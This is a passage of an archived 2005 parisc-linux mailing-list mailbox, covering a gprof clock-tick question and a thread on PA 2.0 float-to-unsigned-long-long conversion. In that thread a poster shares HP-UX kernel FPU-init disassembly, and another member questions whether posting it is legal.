Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RoiSYq0yeSEkbL6WZHQhaXN1IGRvb4AY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22963

Grant,

	While searching the web I came across your email:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-January/022125.html

where you said:

Here's "apps/openssl speed rsa" gprof output from my c3000.
(2.6.0-pa7, Debian testing)

TBH, it looks wrong.



It is wrong.  For details please see:

http://bugs.gentoo.org/show_bug.cgi?id=90090

	If you have any more information on the subject I would appreciate it
as a number of us are preparing to take this issue to the LKML.  I'm
specifically looking at a convincing reason to put forth to Linus to
export the correct clock-ticks/second.  Linus has stated in the past
that user space has no need for the information.  A couple of other
kernel devs are going to back me up here but we need a good argument to
get Linus to change his mind.

Thanks,
-- 
Tres

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Fri, 22 Jul 2005 22:04:55 +0000
Lines: 201
Approved: news@gmane.org
Message-ID: <42E16D87.7040307@tiscali.be>
References: <IJXN2N$DA7727996AD92DCEF0C4B526A04147B8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623862 15782 80.91.229.3 (22 Nov 2014 02:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:42 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: dave <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 22:05:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 23 Jul 2005 00:05:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9694B7D733;
	Fri, 22 Jul 2005 16:05:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21814-04; Fri, 22 Jul 2005 16:05:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D4847D738;
	Fri, 22 Jul 2005 16:05:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BD4E7D731
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 16:05:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21325-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 16:05:03 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 9D9537D72F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 16:05:02 -0600 (MDT)
Original-Received: from (ip-213-49-80-134.dsl.scarlet.be [213.49.80.134]) 
	by oola.is.scarlet.be  with ESMTP id j6MM4uh08289; 
	Sat, 23 Jul 2005 00:04:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <IJXN2N$DA7727996AD92DCEF0C4B526A04147B8@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ygiTYlJHeSEkNb6WZHQhaXN1IGRvb0AB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22964

Hello Dave,

Discussing with Carlos I figure out that insteresting stuff:

I didn't find in p-l the fp init stuff (may be I coud also missed it)
as decribe at page 9-9 and as encountered in hpux-1100 (32 or 64bit)

00000000001302e0 <fprinit>:
   1302e0:       73 c2 3f e1     std rp,-10(sp)
   1302e4:       03 00 08 a2     mfctl tr0,rp
   1302e8:       48 42 00 d0     ldw 68(rp),rp
   1302ec:       c7 02 c0 62     bb,>=,n rp,18,130324 <nofprinit>
   1302f0:       20 32 90 0e     ldil 7a4800,r1
   1302f4:       34 21 0c 70     ldo 638(r1),r1
   1302f8:       2c 20 12 00     fstd fr0,0(,r1)
   1302fc:       30 00 00 00     fid
   130300:       2c 20 12 00     fstd fr0,0(,r1)
   130304:       0c 20 10 81     ldw 0(,r1),r1
   130308:       0f 41 12 80     stw r1,0(,r26)
   13030c:       20 52 90 0e     ldil 7a4800,rp
   130310:       34 42 0b 10     ldo 588(rp),rp
   130314:       2c 40 10 00     fldd 0(,rp),fr0
   130318:       2c 40 10 01     fldd 0(,rp),fpe2
   13031c:       2c 40 10 02     fldd 0(,rp),fpe4
   130320:       2c 40 10 03     fldd 0(,rp),fpe6

0000000000130324 <nofprinit>:
   130324:       53 c2 3f e1     ldd -10(sp),rp
   130328:       e8 40 d0 00     bve (rp)
   13032c:       08 00 02 40     nop
[...]

000000000013038c <get_fpuinfo>:
   13038c:       22 d2 90 0e     ldil 7a4800,r22
   130390:       36 d6 0c 80     ldo 640(r22),r22
   130394:       2e c0 12 00     fstd fr0,0(,r22)
   130398:       30 00 00 00     fid
   13039c:       22 d2 90 0e     ldil 7a4800,r22
   1303a0:       36 d6 0c 80     ldo 640(r22),r22
   1303a4:       2e c0 12 00     fstd fr0,0(,r22)
   1303a8:       22 d2 90 0e     ldil 7a4800,r22
   1303ac:       4a dc 0c 80     ldw 640(r22),ret0
   1303b0:       e8 40 c0 00     bv r0(rp)
   1303b4:       08 00 02 40     nop

called into <processor_init>:
...
   33b60c:       ea fa b2 a1     b,l 12ff64 <set_coproc_config>,%r2
   33b610:       37 dd 3f e1     ldo -10(sp),ret1
   33b614:       48 98 0d c0     ldw 6e0(r4),r24
   33b618:       34 13 01 80     ldi c0,r19
   33b61c:       0b 13 02 1f     and r19,r24,r31
   33b620:       68 9f 0d c0     stw r31,6e0(r4)
   33b624:       2b 60 30 00     addil 1800,dp,%r1
   33b628:       48 21 0c e0     ldw 670(r1),r1
   33b62c:       88 20 22 6a     cmpb,<>,n r0,r1,33b768 <processor_init+0x1c0>
   33b630:       48 82 0d c0     ldw 6e0(r4),rp
   33b634:       d8 59 0b e0     extrd,u rp,63,32,r25
   33b638:       34 1a 00 14     ldi a,r26
   33b63c:       ea fa a1 99     b,l 12f710 <mtctl>,%r2
   33b640:       37 dd 3f e1     ldo -10(sp),ret1
   33b644:       2b 60 30 00     addil 1800,dp,%r1
   33b648:       34 3a 0f a8     ldo 7d4(r1),r26
   33b64c:       ea fa b9 19     b,l 1302e0 <fprinit>,%r2
   33b650:       37 dd 3f e1     ldo -10(sp),ret1
...

and some realted fnct:
000000000012ff2c <get_coproc_config>:
   12ff2c:       03 00 08 b6     mfctl tr0,r22
   12ff30:       4a dc 00 d0     ldw 68(r22),ret0
   12ff34:       d7 9c 08 18     depw,z ret0,31,8,ret0
   12ff38:       e8 40 d0 00     bve (rp)
   12ff3c:       08 00 02 40     nop

000000000012ff40 <set_fpu_type_config>:
   12ff40:       03 00 08 b6     mfctl tr0,r22
   12ff44:       52 d5 00 40     ldd 20(r22),r21
   12ff48:       6a ba 02 20     stw r26,110(r21)
   12ff4c:       6a da 00 d8     stw r26,6c(r22)
   12ff50:       e8 40 d0 00     bve (rp)
   12ff54:       08 00 02 40     nop

000000000012ff58 <getfputypeflags>:
   12ff58:       03 00 08 b6     mfctl tr0,r22
   12ff5c:       e8 40 c0 00     bv r0(rp)
   12ff60:       4a dc 00 d8     ldw 6c(r22),ret0

000000000012ff64 <set_coproc_config>:
   12ff64:       03 00 08 b6     mfctl tr0,r22
   12ff68:       4a d5 00 d0     ldw 68(r22),r21
   12ff6c:       d6 ba 0c 18     depw r26,31,8,r21
   12ff70:       6a d5 00 d0     stw r21,68(r22)
   12ff74:       e8 40 d0 00     bve (rp)
   12ff78:       08 00 02 40     nop

Hth,
	Joel

soete.joel wrote:
>>>Dave would you mean that c3k was runing parisc-linux and a500 hpux?
>>
>>Correct.
>>
> 
> Ok clear.
> 
> 
>>>Is there some pb in sgl -> udw convertion?
>>
>>Could be.  There is a significant different between PA 1.x and 2.0
>>in this respect.  PA 2.0 has "hardware" instructions to do these
>>conversions.  GCC currently uses these instructions when generating
>>PA 2.0 code.
> 
> 
> After severall hours of test, I changed my mind.
> 
> I have my ws runing hpux 11.00 and gcc to compile pr code ;-)
> 
> I have a n4k 2-way pa8600 550Mhz testing parisc-linux 2.6.12-pa2-n4ksmp
> (ggc-4.0 + fpr limits) 
> 
> I can also use a developement n4k 4-way pa8600 440Mhz (not od this clock)
> runing hpux 11.00 (with latest patch bundle).
> 
> First thing on p-l I noticed:
> I get rid of unsigned by:
> long long
> f2ull(float f)
> {
>  return (long long) f;
> }
> 
> And it print well 'f2ull((float) ((~0ULL) >> 1)) = 0x7fffffffffffffff'
> 
> I let you also check the resulting .s file when I play with following:
> unsigned long long
> f2ull(float f)
> {
>   long long tmp = (long long) f;
>   return (unsigned long long) temp;
> }
> 
> Semanticaly it would be the same as the original but the result is also:
> 'f2ull((float) ((~0ULL) >> 1)) = 0x7fffffffffffffff' ?
> 
> Now the brain shacking ;-)
> 
> the behaviour comparison between hpux and p-l (on the original code):
> I used some gui gdb helper (wdb on hpux and insight and ddd on p-l)
> 
>     * at the end of f2ull() ret0 and ret1 (aka r28 & r29) are well different:
>         hpux: r28 == 0x80000000; r29 == 0x00000000,
>         p-l : r28 = r29 == 0x80000000
>     ???? (the code of .s file is quite the same ;-)
> 
>     * very strange is the very difference of fpsr:
>       (e.g. after fldw r3(,ret0),fr22
>             hpux : fpsr == 0x40
> 
>             after next fcnv insn
>             hpux : fpsr == 0x80000000; 
> 
>             p-l  : fpsr stay constantly == 0x0
> 
> So as far as this time the 2 hw are nearly the same, as well as the executable
> txt, the 2 previous test make me better thought that fpu are 'configurable'
> (may be not all model) and are not setup the same way by the different OS. 
> That said, I never read anything about this but i don't see other reasonable
> explanation?
> 
> 
> Joel
> 
> PS:
> obviously gdb relase are very different on the 2 systems, but I hope that such
> 'printf "%x\n", $fpsr' (or what else as reg) could show me actual cpu reg
> value, though.
> 
> 
> 
> -------------------------------------------------------
> NOTE! My email address is changing to ... @scarlet.be
> Please make the necessary changes in your address book. 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Sat, 23 Jul 2005 09:39:34 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <42E21056.1050303@tiscali.be>
References: <IJXN2N$DA7727996AD92DCEF0C4B526A04147B8@scarlet.be>
	<42E16D87.7040307@tiscali.be>
	<20050722231641.GD11034@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623863 15785 80.91.229.3 (22 Nov 2014 02:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:43 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2005 09:39:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 23 Jul 2005 11:39:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C8B87D758;
	Sat, 23 Jul 2005 03:39:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24429-04; Sat, 23 Jul 2005 03:39:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 704207D754;
	Sat, 23 Jul 2005 03:39:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B98847D751
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Jul 2005 03:39:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24023-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Jul 2005 03:39:42 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id C95D27D74F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Jul 2005 03:39:41 -0600 (MDT)
Original-Received: from (ip-213-49-164-3.dsl.scarlet.be [213.49.164.3]) 
	by oola.is.scarlet.be  with ESMTP id j6N9dYh17294; 
	Sat, 23 Jul 2005 11:39:34 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050722231641.GD11034@roadwarrior.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: P3WQYuYxeSEkQr6WZHQhaXN1IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22965



Kyle McMartin wrote:
> On Fri, Jul 22, 2005 at 10:04:55PM +0000, Joel Soete wrote:
> 
>>Hth,
>>	Joel
> 
> 
> I'm not sure it's a very good idea posting bits of the HP-UX
> kernel on a publicly archived mailing list. I imagine the disassembly's
> legal status is questionable... 
> 
Yes I hesitate but finaly though that reverse engineering is legal (see the famous samba project ;-) )?

(Second, is there something not documented in parisc2.0.pdf?)

Please correct me if I am wrong (and if possible remove my post)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Fri, 22 Jul 2005 19:16:41 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050722231641.GD11034@roadwarrior.mcmartin.ca>
References: <IJXN2N$DA7727996AD92DCEF0C4B526A04147B8@scarlet.be>
	<42E16D87.7040307@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623863 15788 80.91.229.3 (22 Nov 2014 02:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:43 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 23:20:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 23 Jul 2005 01:20:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 528417D74A;
	Fri, 22 Jul 2005 17:20:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22200-04; Fri, 22 Jul 2005 17:20:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC26D7D74C;
	Fri, 22 Jul 2005 17:20:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1387D746
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 17:20:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22070-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 17:20:15 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id DE9237D742
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 17:20:14 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 9C3C217050;
	Fri, 22 Jul 2005 19:20:13 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11381-03; Fri, 22 Jul 2005 19:20:02 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 61F3F1707B; Fri, 22 Jul 2005 19:20:02 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x708497156-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122074362-0744666835094-v4.0.10
Content-Disposition: inline
In-Reply-To: <42E16D87.7040307@tiscali.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bxqTYmh5eSEkYr6WZHQhaXN1IGRvbwAq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22966

On Fri, Jul 22, 2005 at 10:04:55PM +0000, Joel Soete wrote:
> Hth,
> 	Joel

I'm not sure it's a very good idea posting bits of the HP-UX
kernel on a publicly archived mailing list. I imagine the disassembly's
legal status is questionable... 

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Results from NFS hang tests
Date: Sat, 23 Jul 2005 11:23:47 -0600
Lines: 73
Approved: news@gmane.org
Message-ID: <42E27D23.4050601@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623863 15789 80.91.229.3 (22 Nov 2014 02:37:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2005 17:24:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 23 Jul 2005 19:24:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A6DA7D756;
	Sat, 23 Jul 2005 11:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27591-10; Sat, 23 Jul 2005 11:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F4417D75A;
	Sat, 23 Jul 2005 11:23:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 953757D756
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Jul 2005 11:23:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27591-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Jul 2005 11:23:50 -0600 (MDT)
Original-Received: from pd2mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 01F5F7D753
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Jul 2005 11:23:50 -0600 (MDT)
Original-Received: from pd4mr8so.prod.shaw.ca
	(pd4mr8so-qfe3.prod.shaw.ca [10.0.141.101]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IK300AD2CBP0D10@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 23 Jul 2005 11:23:49 -0600 (MDT)
Original-Received: from pn2ml10so.prod.shaw.ca ([10.0.121.80])
	by pd4mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IK300DLXCBP1I10@pd4mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 23 Jul 2005 11:23:49 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IK300I3ACBO39@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 23 Jul 2005 11:23:49 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j6NHNlsD004358	for
	<parisc-linux@lists.parisc-linux.org>; Sat, 23 Jul 2005 11:23:48 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
